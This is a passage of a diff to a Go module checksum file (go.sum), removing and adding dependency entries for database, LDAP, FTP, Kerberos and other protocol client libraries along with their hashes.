h1:NOuUCSz6Q9T7+igc/hlvDOUdtWKryOrtFyIVABv/p7k= -github.com/bketelsen/crypt v0.0.3-0.20200106085610-5cbc8cc4026c/go.mod h1:MKsuJmJgSg28kpZDP6UIiPt0e0Oz0kqKNGyRaWEPv84= github.com/bmizerany/assert v0.0.0-20160611221934-b7ed37b82869 h1:DDGfHa7BWjL4YnC6+E63dPcxHo2sUxDIu8g3QgEJdRY= github.com/bmizerany/assert v0.0.0-20160611221934-b7ed37b82869/go.mod h1:Ekp36dRnpXw/yCqJaO+ZrUyxD+3VXMFFr56k5XYrpB4= -github.com/cespare/xxhash v1.1.0/go.mod h1:XrSqR1VqqWfGrhpAt58auRo0WTKS1nRRg3ghfAqPWnc= -github.com/client9/misspell v0.3.4/go.mod h1:qj6jICC3Q7zFZvVWo7KLAzC3yx5G7kyvSDkc90ppPyw= -github.com/coreos/bbolt v1.3.2/go.mod h1:iRUV2dpdMOn7Bo10OQBFzIJO9kkE559Wcmn+qkEiiKk= -github.com/coreos/etcd v3.3.13+incompatible/go.mod h1:uF7uidLiAD3TWHmW31ZFd/JWoc32PjwdhPthX9715RE= -github.com/coreos/go-semver v0.3.0/go.mod h1:nnelYz7RCh+5ahJtPPxZlU+153eP4D4r3EedlOD2RNk= -github.com/coreos/go-systemd v0.0.0-20190321100706-95778dfbb74e/go.mod h1:F5haX7vjVVG0kc13fIWeqUViNPyEJxv/OmvnBo0Yme4= -github.com/coreos/pkg v0.0.0-20180928190104-399ea9e2e55f/go.mod h1:E3G3o1h8I7cfcXa63jLwjI0eiQQMgzzUDFVpN/nH/eA= -github.com/cpuguy83/go-md2man/v2 v2.0.0/go.mod h1:maD7wRr/U5Z6m/iR4s+kqSMx2CaBsrgA7czyZG/E6dU= github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/denisenkom/go-mssqldb v0.12.3 h1:pBSGx9Tq67pBOTLmxNuirNTeB8Vjmf886Kx+8Y+8shw= github.com/denisenkom/go-mssqldb v0.12.3/go.mod h1:k0mtMFOnU+AihqFxPMiF05rtiDrorD1Vrm1KEz5hxDo= -github.com/dgrijalva/jwt-go v3.2.0+incompatible/go.mod h1:E3ru+11k8xSBh+hMPgOLZmtrrCbhqsmaPHjLKYnJCaQ= -github.com/dgryski/go-sip13 v0.0.0-20181026042036-e10d5fee7954/go.mod h1:vAd38F8PWV+bWy6jNmig1y/TA+kYO4g3RSRF0IAv0no= github.com/dnaeon/go-vcr v1.2.0/go.mod h1:R4UdLID7HZT3taECzJs4YgbbH6PIGXB6W/sc5OLb6RQ= github.com/eapache/go-resiliency v1.7.0 h1:n3NRTnBn5N0Cbi/IeOHuQn9s2UwVUH7Ga0ZWcP+9JTA= github.com/eapache/go-resiliency v1.7.0/go.mod h1:5yPzW0MIvSe0JDsv0v+DvcjEv2FyD6iZYSs1ZI+iQho= @@ -62,133 +27,46 @@ github.com/eapache/go-xerial-snappy v0.0.0-20230731223053-c322873962e3 h1:Oy0F4A github.com/eapache/go-xerial-snappy v0.0.0-20230731223053-c322873962e3/go.mod h1:YvSRo5mw33fLEx1+DlK6L2VV43tJt5Eyel9n9XBcR+0= github.com/eapache/queue v1.1.0 h1:YOEu7KNc61ntiQlcEeUIoDTJ2o8mQznoNvUhiigpIqc= github.com/eapache/queue v1.1.0/go.mod h1:6eCeP0CKFpHLu8blIFXhExK/dRa7WDZfr6jVFPTqq+I= -github.com/fatih/color v1.7.0/go.mod h1:Zm6kSWBoL9eyXnKyktHP6abPY2pDugNf5KwzbycvMj4= github.com/fatih/color v1.18.0 h1:S8gINlzdQ840/4pfAwic/ZE0djQEH3wM94VfqLTZcOM= github.com/fatih/color v1.18.0/go.mod h1:4FelSpRwEGDpQ12mAdzqdOukCy4u8WUtOY6lkT/6HfU= github.com/fortytw2/leaktest v1.3.0 h1:u8491cBMTQ8ft8aeV+adlcytMZylmA5nnwwkRZjI8vw= -github.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo= -github.com/fsnotify/fsnotify v1.4.9/go.mod h1:znqG4EE+3YCdAaPaxE2ZRY/06pZUdp0tY4IgpuI1SZQ= -github.com/fsnotify/fsnotify v1.5.1/go.mod h1:T3375wBYaZdLLcVNkcVbzGHY7f1l/uK5T5Ai1i3InKU= -github.com/geoffgarside/ber v1.1.0 h1:qTmFG4jJbwiSzSXoNJeHcOprVzZ8Ulde2Rrrifu5U9w= -github.com/geoffgarside/ber v1.1.0/go.mod h1:jVPKeCbj6MvQZhwLYsGwaGI52oUorHoHKNecGT85ZCc= -github.com/ghodss/yaml v1.0.0/go.mod h1:4dBDuWmgqj2HViK6kFavaiC9ZROes6MMH2rRYeMEF04= +github.com/fortytw2/leaktest v1.3.0/go.mod h1:jDsjWgpAGjm2CA7WthBh/CdZYEPF31XHquHwclZch5g= github.com/go-asn1-ber/asn1-ber v1.5.7 h1:DTX+lbVTWaTw1hQ+PbZPlnDZPEIs0SS/GCZAl535dDk= github.com/go-asn1-ber/asn1-ber v1.5.7/go.mod h1:hEBeB/ic+5LoWskz+yKT7vGhhPYkProFKoKdwZRWMe0= -github.com/go-gl/gl v0.0.0-20181026044259-55b76b7df9d2/go.mod h1:482civXOzJJCPzJ4ZOX/pwvXBWSnzD4OKMdH4ClKGbk= -github.com/go-gl/gl v0.0.0-20190320180904-bf2b1f2f34d7/go.mod h1:482civXOzJJCPzJ4ZOX/pwvXBWSnzD4OKMdH4ClKGbk= -github.com/go-gl/glfw v0.0.0-20190409004039-e6da0acd62b1/go.mod h1:vR7hzQXu2zJy9AVAgeJqvqgH9Q5CA+iKCZ2gyEVpxRU= -github.com/go-gl/glfw/v3.3/glfw v0.0.0-20191125211704-12ad95a8df72/go.mod h1:tQ2UAYgL5IevRw8kRxooKSPJfGvJ9fJQFa0TUsXzTg8= -github.com/go-gl/glfw/v3.3/glfw v0.0.0-20210410170116-ea3d685f79fb/go.mod h1:tQ2UAYgL5IevRw8kRxooKSPJfGvJ9fJQFa0TUsXzTg8= -github.com/go-kit/kit v0.8.0/go.mod h1:xBxKIO96dXMWWy0MnWVtmwkA9/13aqxPnvrjFYMA2as= github.com/go-ldap/ldap/v3 v3.4.9 h1:KxX9eO44/MpqPXVVMPJDB+k/35GEePHE/Jfvl7oRMUo= github.com/go-ldap/ldap/v3 v3.4.9/go.mod h1:+CE/4PPOOdEPGTi2B7qXKQOq+pNBvXZtlBNcVZY0AWI= -github.com/go-logfmt/logfmt v0.3.0/go.mod h1:Qt1PoO58o5twSAckw1HlFXLmHsOX5/0LbT9GBnD5lWE= -github.com/go-logfmt/logfmt v0.4.0/go.mod h1:3RMwSq7FuexP4Kalkev3ejPJsZTpXXBr9+V4qmtdjCk= github.com/go-sql-driver/mysql v1.8.1 h1:LedoTUt/eveggdHS9qUFC1EFSa8bU2+1pZjSRpvNJ1Y= github.com/go-sql-driver/mysql v1.8.1/go.mod h1:wEBSXgmK//2ZFJyE+qWnIsVGmvmEKlqwuVSjsCm7DZg= -github.com/go-stack/stack v1.8.0/go.mod h1:v0f6uXyyMGvRgIKkXu+yp6POWl0qKG85gN/melR3HDY= -github.com/go-task/slim-sprig v0.0.0-20210107165309-348f09dbbbc0/go.mod h1:fyg7847qk6SyHyPtNmDHnmrv/HOrqktSC+C9fM+CJOE= github.com/gocql/gocql v1.7.0 h1:O+7U7/1gSN7QTEAaMEsJc1Oq2QHXvCWoF3DFK9HDHus= github.com/gocql/gocql v1.7.0/go.mod h1:vnlvXyFZeLBF0Wy+RS8hrOdbn0UWsWtdg07XJnFxZ+4= -github.com/gofrs/uuid v4.0.0+incompatible/go.mod h1:b2aQJv3Z4Fp6yNu3cdSllBxTCLRxnplIgP/c0N/04lM= -github.com/gogo/protobuf v1.1.1/go.mod h1:r8qH/GZQm5c6nD/R0oafs1akxWv10x8SbQlK7atdtwQ= -github.com/gogo/protobuf v1.2.1/go.mod h1:hp+jE20tsWTFYpLwKvXlhS1hjn+gTNwPg2I6zVXpSg4= github.com/golang-sql/civil v0.0.0-20190719163853-cb61b32ac6fe h1:lXe2qZdvpiX5WZkZR4hgp4KJVfY3nMkvmwbVkpv1rVY= github.com/golang-sql/civil v0.0.0-20190719163853-cb61b32ac6fe/go.mod h1:8vg3r2VgvsThLBIFL93Qb5yWzgyZWhEmBwUJWevAkK0= github.com/golang-sql/sqlexp v0.1.0 h1:ZCD6MBpcuOVfGVqsEmY5/4FtYiKz6tSyUv9LPEDei6A= github.com/golang-sql/sqlexp v0.1.0/go.mod h1:J4ad9Vo8ZCWQ2GMrC4UCQy1JpCbwU9m3EOqtpKwwwHI= -github.com/golang/freetype v0.0.0-20170609003504-e2365dfdc4a0/go.mod h1:E/TSTwGwJL78qG/PmXZO1EjYhfJinVAhrmmHX6Z8B9k= -github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b/go.mod h1:SBH7ygxi8pfUlaOkMMuAQtPIUF8ecWP5IEl/CR7VP2Q= -github.com/golang/groupcache v0.0.0-20190129154638-5b532d6fd5ef/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= -github.com/golang/mock v1.1.1/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A= -github.com/golang/mock v1.2.0/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A= -github.com/golang/mock v1.3.1/go.mod h1:sBzyDLLjw3U8JLTeZvSv8jJB+tU5PVekmnlKIyFUx0Y= -github.com/golang/protobuf v1.2.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= -github.com/golang/protobuf v1.3.1/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= -github.com/golang/protobuf v1.3.2/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= -github.com/golang/protobuf v1.4.0-rc.1/go.mod h1:ceaxUfeHdC40wWswd/P6IGgMaK3YpKi5j83Wpe3EHw8= -github.com/golang/protobuf v1.4.0-rc.1.0.20200221234624-67d41d38c208/go.mod h1:xKAWHe0F5eneWXFV3EuXVDTCmh+JuBKY0li0aMyXATA= -github.com/golang/protobuf v1.4.0-rc.2/go.mod h1:LlEzMj4AhA7rCAGe4KMBDvJI+AwstrUpVNzEA03Pprs= -github.com/golang/protobuf v1.4.0-rc.4.0.20200313231945-b860323f09d0/go.mod h1:WU3c8KckQ9AFe+yFwt9sWVRKCVIyN9cPHBJSNnbL67w= -github.com/golang/protobuf v1.4.0/go.mod h1:jodUvKwWbYaEsadDk5Fwe5c77LiNKVO9IDvqG2KuDX0= -github.com/golang/protobuf v1.4.2/go.mod h1:oDoupMAO8OvCJWAcko0GGGIgR6R6ocIYbsSw735rRwI= github.com/golang/protobuf v1.5.0/go.mod h1:FsONVRAS9T7sI+LIUmWTfcYkHO4aIWwzhcaSAoJOfIk= -github.com/golang/protobuf v1.5.2/go.mod h1:XVQd3VNwM+JqD3oG2Ue2ip4fOMUkwXdXDdiuN0vRsmY= github.com/golang/snappy v0.0.3/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEWrmP2Q= github.com/golang/snappy v0.0.4 h1:yAGX7huGHXlcLOEtBnF4w7FQwA26wojNCwOYAEhLjQM= github.com/golang/snappy v0.0.4/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEWrmP2Q= -github.com/gomodule/redigo v1.8.4/go.mod h1:P9dn9mFrCBvWhGE1wpxx6fgq7BAeLBk+UUUzlpkBYO0= -github.com/google/btree v0.0.0-20180813153112-4030bb1f1f0c/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ= -github.com/google/btree v1.0.0/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ= github.com/google/cel-go v0.13.0 h1:z+8OBOcmh7IeKyqwT/6IlnMvy621fYUqnTVPEdegGlU= github.com/google/cel-go v0.13.0/go.mod h1:K2hpQgEjDp18J76a2DKFRlPBPpgRZgi6EbnpDgIhJ8s= -github.com/google/go-cmp v0.2.0/go.mod h1:oXzfMopK8JAjlY9xF4vHSVASa0yLyX7SntLO5aqRK0M= -github.com/google/go-cmp v0.3.0/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU= -github.com/google/go-cmp v0.3.1/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU= -github.com/google/go-cmp v0.4.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.6.0 h1:ofyhxvXcZhMsU5ulbFiLKl/XBFqE1GSq7atu8tAmTRI= github.com/google/go-cmp v0.6.0/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= -github.com/google/gxui v0.0.0-20151028112939-f85e0a97b3a4/go.mod h1:Pw1H1OjSNHiqeuxAduB1BKYXIwFtsyrY47nEqSgEiCM= -github.com/google/martian v2.1.0+incompatible/go.mod h1:9I4somxYTbIHy5NJKHRl3wXiIaQGbYVAs8BPL6v8lEs= -github.com/google/pprof v0.0.0-20181206194817-3ea8567a2e57/go.mod h1:zfwlbNMJ+OItoe0UupaVj+oy1omPYYDuagoSzA8v9mc= -github.com/google/pprof v0.0.0-20190515194954-54271f7e092f/go.mod h1:zfwlbNMJ+OItoe0UupaVj+oy1omPYYDuagoSzA8v9mc= -github.com/google/renameio v0.1.0/go.mod h1:KWCgfxg9yswjAJkECMjeO8J8rahYeXnNhOm40UhjYkI= github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0= github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= -github.com/googleapis/gax-go/v2 v2.0.4/go.mod h1:0Wqv26UfaUD9n4G6kQubkQ+KchISgw+vpHVxEJEs9eg= -github.com/googleapis/gax-go/v2 v2.0.5/go.mod h1:DWXyrwAJ9X0FpwwEdw+IPEYBICEFu5mhpdKc/us6bOk= -github.com/googollee/go-socket.io v1.6.0/go.mod h1:0vGP8/dXR9SZUMMD4+xxaGo/lohOw3YWMh2WRiWeKxg= -github.com/gopherjs/gopherjs v0.0.0-20181017120253-0766667cb4d1/go.mod h1:wJfORRmW1u3UXTncJ5qlYoELFm8eSnnEO6hX4iZ3EWY= -github.com/gopherjs/gopherjs v0.0.0-20210621113107-84c6004145de/go.mod h1:MtKwTfDNYAP5EtbQSMYjTSqvj1aXJKQRASWq3bwaP+g= github.com/gorilla/securecookie v1.1.1 h1:miw7JPhV+b/lAHSXz4qd/nN9jRiAFV5FwjeKyCS8BvQ= github.com/gorilla/securecookie v1.1.1/go.mod h1:ra0sb63/xPlUeL+yeDciTfxMRAA+MP+HVt/4epWDjd4= github.com/gorilla/sessions v1.2.1 h1:DHd3rPN5lE3Ts3D8rKkQ8x/0kqfeNmBAaiSi+o7FsgI= github.com/gorilla/sessions v1.2.1/go.mod h1:dk2InVEVJ0sfLlnXv9EAgkf6ecYs/i80K/zI+bUmuGM= -github.com/gorilla/websocket v1.4.2/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE= -github.com/gosnmp/gosnmp v1.38.0 h1:I5ZOMR8kb0DXAFg/88ACurnuwGwYkXWq3eLpJPHMEYc= -github.com/gosnmp/gosnmp v1.38.0/go.mod h1:FE+PEZvKrFz9afP9ii1W3cprXuVZ17ypCcyyfYuu5LY= -github.com/goxjs/gl v0.0.0-20210104184919-e3fafc6f8f2a/go.mod h1:dy/f2gjY09hwVfIyATps4G2ai7/hLwLkc5TrPqONuXY= -github.com/goxjs/glfw v0.0.0-20191126052801-d2efb5f20838/go.mod h1:oS8P8gVOT4ywTcjV6wZlOU4GuVFQ8F5328KY3MJ79CY= -github.com/grpc-ecosystem/go-grpc-middleware v1.0.0/go.mod h1:FiyG127CGDf3tlThmgyCl78X/SZQqEOJBCDaAfeWzPs= -github.com/grpc-ecosystem/go-grpc-prometheus v1.2.0/go.mod h1:8NvIoxWQoOIhqOTXgfV/d3M/q6VIi02HzZEHgUlZvzk= -github.com/grpc-ecosystem/grpc-gateway v1.9.0/go.mod h1:vNeuVxBJEsws4ogUvrchl83t/GYV9WGTSLVdBhOQFDY= github.com/hailocab/go-hostpool v0.0.0-20160125115350-e80d13ce29ed h1:5upAirOpQc1Q53c0bnx2ufif5kANL7bfZWcc6VJWJd8= github.com/hailocab/go-hostpool v0.0.0-20160125115350-e80d13ce29ed/go.mod h1:tMWxXQ9wFIaZeTI9F+hmhFiGpFmhOHzyShyFUhRm0H4= -github.com/hashicorp/consul/api v1.1.0/go.mod h1:VmuI/Lkw1nC05EYQWNKwWGbkg+FbDBtguAZLlVdkD9Q= -github.com/hashicorp/consul/sdk v0.1.1/go.mod h1:VKf9jXwCTEY1QZP2MOLRhb5i/I/ssyNV1vwHyQBF0x8= github.com/hashicorp/errwrap v1.0.0 h1:hLrqtEDnRye3+sgx6z4qVLNuviH3MR5aQ0ykNJa/UYA= github.com/hashicorp/errwrap v1.0.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4= -github.com/hashicorp/go-cleanhttp v0.5.1/go.mod h1:JpRdi6/HCYpAwUzNwuwqhbovhLtngrth3wmdIIUrZ80= -github.com/hashicorp/go-immutable-radix v1.0.0/go.mod h1:0y9vanUI8NX6FsYoO3zeMjhV/C5i9g4Q3DwcSNZ4P60= -github.com/hashicorp/go-msgpack v0.5.3/go.mod h1:ahLV/dePpqEmjfWmKiqvPkv/twdG7iPBM1vqhUKIvfM= -github.com/hashicorp/go-multierror v1.0.0/go.mod h1:dHtQlpGsu+cZNNAkkCN/P3hoUDHhCYQXV3UM06sGGrk= github.com/hashicorp/go-multierror v1.1.1 h1:H5DkEtf6CXdFp0N0Em5UCwQpXMWke8IA0+lD48awMYo= github.com/hashicorp/go-multierror v1.1.1/go.mod h1:iw975J/qwKPdAO1clOe2L8331t/9/fmwbPZ6JB6eMoM= -github.com/hashicorp/go-rootcerts v1.0.0/go.mod h1:K6zTfqpRlCUIjkwsN4Z+hiSfzSTQa6eBIzfwKfwNnHU= -github.com/hashicorp/go-sockaddr v1.0.0/go.mod h1:7Xibr9yA9JjQq1JpNB2Vw7kxv8xerXegt+ozgdvDeDU= -github.com/hashicorp/go-syslog v1.0.0/go.mod h1:qPfqrKkXGihmCqbJM2mZgkZGvKG1dFdvsLplgctolz4= -github.com/hashicorp/go-uuid v1.0.0/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro= -github.com/hashicorp/go-uuid v1.0.1/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro= github.com/hashicorp/go-uuid v1.0.2/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro= github.com/hashicorp/go-uuid v1.0.3 h1:2gKiV6YVmrJ1i2CKKa9obLvRieoRGviZFL26PcT/Co8= github.com/hashicorp/go-uuid v1.0.3/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro= -github.com/hashicorp/go.net v0.0.1/go.mod h1:hjKkEWcCURg++eb33jQU7oqQcI9XDCnUzHA0oac0k90= -github.com/hashicorp/golang-lru v0.5.0/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8= -github.com/hashicorp/golang-lru v0.5.1/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8= -github.com/hashicorp/hcl v1.0.0/go.mod h1:E5yfLk+7swimpb2L/Alb/PJmXilQ/rhwaUYs4T20WEQ= -github.com/hashicorp/logutils v1.0.0/go.mod h1:QIAnNjmIWmVIIkWDTG1z5v++HQmx9WQRO+LraFDTW64= -github.com/hashicorp/mdns v1.0.0/go.mod h1:tL+uN++7HEJ6SQLQ2/p+z2pH24WQKWjBPkE0mNTz8vQ= -github.com/hashicorp/memberlist v0.1.3/go.mod h1:ajVTdAv/9Im8oMAAj5G31PhhMCZJV2pPBoIllUwCN7I= -github.com/hashicorp/serf v0.8.2/go.mod h1:6hOLApaqBFA1NXqRQAsxw9QxuDEvNxSQRwA/JwenrHc= -github.com/hirochachacha/go-smb2 v1.1.0 h1:b6hs9qKIql9eVXAiN0M2wSFY5xnhbHAQoCwRKbaRTZI= -github.com/hirochachacha/go-smb2 v1.1.0/go.mod h1:8F1A4d5EZzrGu5R7PU163UcMRDJQl4FtcxjBfsY8TZE= -github.com/hpcloud/tail v1.0.0/go.mod h1:ab1qPbhIpdTxEkNHXyeSf5vhxWSCs/tWer42PpOxQnU= -github.com/huin/asn1ber v0.0.0-20120622192748-af09f62e6358 h1:hVXNJ57IHkOA8FBq80UG263MEBwNUMfS9c82J2QE5UQ= -github.com/huin/asn1ber v0.0.0-20120622192748-af09f62e6358/go.mod h1:qBE210J2T9uLXRB3GNc73SvZACDEFAmDCOlDkV47zbY= -github.com/icodeface/tls v0.0.0-20190904083142-17aec93c60e5 h1:ZcsPFW8UgACapqjcrBJx0PuyT4ppArO5VFn0vgnkvmc= -github.com/icodeface/tls v0.0.0-20190904083142-17aec93c60e5/go.mod h1:VJNHW2GxCtQP/IQtXykBIPBV8maPJ/dHWirVTwm9GwY= -github.com/inconshreveable/mousetrap v1.0.0/go.mod h1:PxqpIevigyE2G7u3NXJIT2ANytuPF1OarO4DADm73n8= github.com/jcmturner/aescts/v2 v2.0.0 h1:9YKLH6ey7H4eDBXW8khjYslgyqG2xZikXP0EQFKrle8= github.com/jcmturner/aescts/v2 v2.0.0/go.mod h1:AiaICIRyfYg35RUkr8yESTqvSy7csK90qZ5xfvvsoNs= github.com/jcmturner/dnsutils/v2 v2.0.0 h1:lltnkeZGL0wILNvrNiVCR6Ro5PGU/SeBvVO/8c/iPbo= @@ -203,138 +81,51 @@ github.com/jcmturner/rpc/v2 v2.0.3 h1:7FXXj8Ti1IaVFpSAziCZWNzbNuZmnvw/i6CqLNdWfZ github.com/jcmturner/rpc/v2 v2.0.3/go.mod h1:VUJYCIDm3PVOEHw8sgt091/20OJjskO/YJki3ELg/Hc= github.com/jlaffaye/ftp v0.2.0 h1:lXNvW7cBu7R/68bknOX3MrRIIqZ61zELs1P2RAiA3lg= github.com/jlaffaye/ftp v0.2.0/go.mod h1:is2Ds5qkhceAPy2xD6RLI6hmp/qysSoymZ+Z2uTnspI= -github.com/jonboulle/clockwork v0.1.0/go.mod h1:Ii8DK3G1RaLaWxj9trq07+26W01tbo22gdxWY5EU2bo= -github.com/json-iterator/go v1.1.6/go.mod h1:+SdeFBvtyEkXs7REEP0seUULqWtbJapLOCVDaaPEHmU= -github.com/jstemmer/go-junit-report v0.0.0-20190106144839-af01ea7f8024/go.mod h1:6v2b51hI/fHJwM22ozAgKL4VKDeJcHhJFhtBdhmNjmU= -github.com/jtolds/gls v4.20.0+incompatible/go.mod h1:QJZ7F/aHp+rZTRtaJ1ow/lLfFfVYBRgL+9YlvaHOwJU= -github.com/julienschmidt/httprouter v1.2.0/go.mod h1:SYymIcj16QtmaHHD7aYtjjsJG7VTCxuUUipMqKk8s4w= github.com/k0kubun/go-ansi v0.0.0-20180517002512-3bf9e2903213/go.mod h1:vNUNkEQ1e29fT/6vq2aBdFsgNPmy8qMdSay1npru+Sw= -github.com/kisielk/errcheck v1.1.0/go.mod h1:EZBBE59ingxPouuu3KfxchcWSUPOHkagtvWXihfKN4Q= -github.com/kisielk/gotool v1.0.0/go.mod h1:XhKaO+MFFWcvkIS/tQcRk01m1F5IRFswLeQ+oQHNcck= github.com/klauspost/compress v1.17.9 h1:6KIumPrER1LHsvBVuDa0r5xaG0Es51mhhB9BQB2qeMA= github.com/klauspost/compress v1.17.9/go.mod h1:Di0epgTjJY877eYKx5yC51cX2A2Vl2ibi7bDH9ttBbw= -github.com/konsorten/go-windows-terminal-sequences v1.0.1/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ= -github.com/kr/logfmt v0.0.0-20140226030751-b84e30acd515/go.mod h1:+0opPa2QZZtGFBFZlji/RkVcI2GknAs/DXo4wKdlNEc= github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo= github.com/kr/pretty v0.3.0 h1:WgNl7dwNpEZ6jJ9k1snq4pZsg7DOEN8hP9Xw0Tsjwk0= +github.com/kr/pretty v0.3.0/go.mod h1:640gp4NfQd8pI5XOwp5fnNeVWj67G7CFk/SaSQn7NBk= github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ= github.com/kr/text v0.1.0 h1:45sCR5RtlFHMR4UwH9sdQ5TC8v0qDQCHnXt+kaKSTVE= github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI= github.com/lib/pq v1.10.9 h1:YXG7RB+JIjhP29X+OtkiDnYaXQwpS4JEWq7dtCCRUEw= github.com/lib/pq v1.10.9/go.mod h1:AlVN5x4E4T544tWzH6hKfbfQvm3HdbOxrmggDNAPY9o= -github.com/lunixbochs/struc v0.0.0-20200707160740-784aaebc1d40 h1:EnfXoSqDfSNJv0VBNqY/88RNnhSGYkrHaO0mmFGbVsc= -github.com/lunixbochs/struc v0.0.0-20200707160740-784aaebc1d40/go.mod h1:vy1vK6wD6j7xX6O6hXe621WabdtNkou2h7uRtTfRMyg= -github.com/magiconair/properties v1.8.1/go.mod h1:PppfXfuXeibc/6YijjN8zIbojt8czPbwD3XqdrwzmxQ= -github.com/mattn/go-colorable v0.0.9/go.mod h1:9vuHe8Xs5qXnSaW/c/ABM9alt+Vo+STaOChaDxuIBZU= github.com/mattn/go-colorable v0.1.13 h1:fFA4WZxdEF4tXPZVKMLwD8oUnCTTo08duU7wxecdEvA= github.com/mattn/go-colorable v0.1.13/go.mod h1:7S9/ev0klgBDR4GtXTXX8a3vIGJpMovkB8vQcUbaXHg= -github.com/mattn/go-isatty v0.0.3/go.mod h1:M+lRXTBqGeGNdLjl/ufCoiOlB5xdOkqRJdNxMWT7Zi4= github.com/mattn/go-isatty v0.0.16/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM= github.com/mattn/go-isatty v0.0.17/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM= github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY= github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y= github.com/mattn/go-runewidth v0.0.14 h1:+xnbZSEeDbOIg5/mE6JF0w6n9duR1l3/WmbinWVwUuU= github.com/mattn/go-runewidth v0.0.14/go.mod h1:Jdepj2loyihRzMpdS35Xk/zdY8IAYHsh153qUoGf23w= -github.com/matttproud/golang_protobuf_extensions v1.0.1/go.mod h1:D8He9yQNgCq6Z5Ld7szi9bcBfOoFv/3dc6xSMkL2PC0= -github.com/miekg/dns v1.0.14/go.mod h1:W1PPwlIAgtquWBMBEV9nkV9Cazfe8ScdGz/Lj7v3Nrg= -github.com/mitchellh/cli v1.0.0/go.mod h1:hNIlj7HEI86fIcpObd7a0FcrxTWetlwJDGcceTlRvqc= github.com/mitchellh/colorstring v0.0.0-20190213212951-d06e56a500db h1:62I3jR2EmQ4l5rM/4FEfDWcRD+abF5XlKShorW5LRoQ= github.com/mitchellh/colorstring v0.0.0-20190213212951-d06e56a500db/go.mod h1:l0dey0ia/Uv7NcFFVbCLtqEBQbrT4OCwCSKTEv6enCw= -github.com/mitchellh/go-homedir v1.0.0/go.mod h1:SfyaCUpYCn1Vlf4IUYiD9fPX4A5wJrkLzIz1N1q0pr0= -github.com/mitchellh/go-homedir v1.1.0/go.mod h1:SfyaCUpYCn1Vlf4IUYiD9fPX4A5wJrkLzIz1N1q0pr0= -github.com/mitchellh/go-testing-interface v1.0.0/go.mod h1:kRemZodwjscx+RGhAo8eIhFbs2+BFgRtFPeD/KE+zxI= -github.com/mitchellh/go-vnc v0.0.0-20150629162542-723ed9867aed h1:FI2NIv6fpef6BQl2u3IZX/Cj20tfypRF4yd+uaHOMtI= -github.com/mitchellh/go-vnc v0.0.0-20150629162542-723ed9867aed/go.mod h1:3rdaFaCv4AyBgu5ALFM0+tSuHrBh6v692nyQe3ikrq0= -github.com/mitchellh/gox v0.4.0/go.mod h1:Sd9lOJ0+aimLBi73mGofS1ycjY8lL3uZM3JPS42BGNg= -github.com/mitchellh/iochan v1.0.0/go.mod h1:JwYml1nuB7xOzsp52dPpHFffvOCDupsG0QubkSMEySY= -github.com/mitchellh/mapstructure v0.0.0-20160808181253-ca63d7c062ee/go.mod 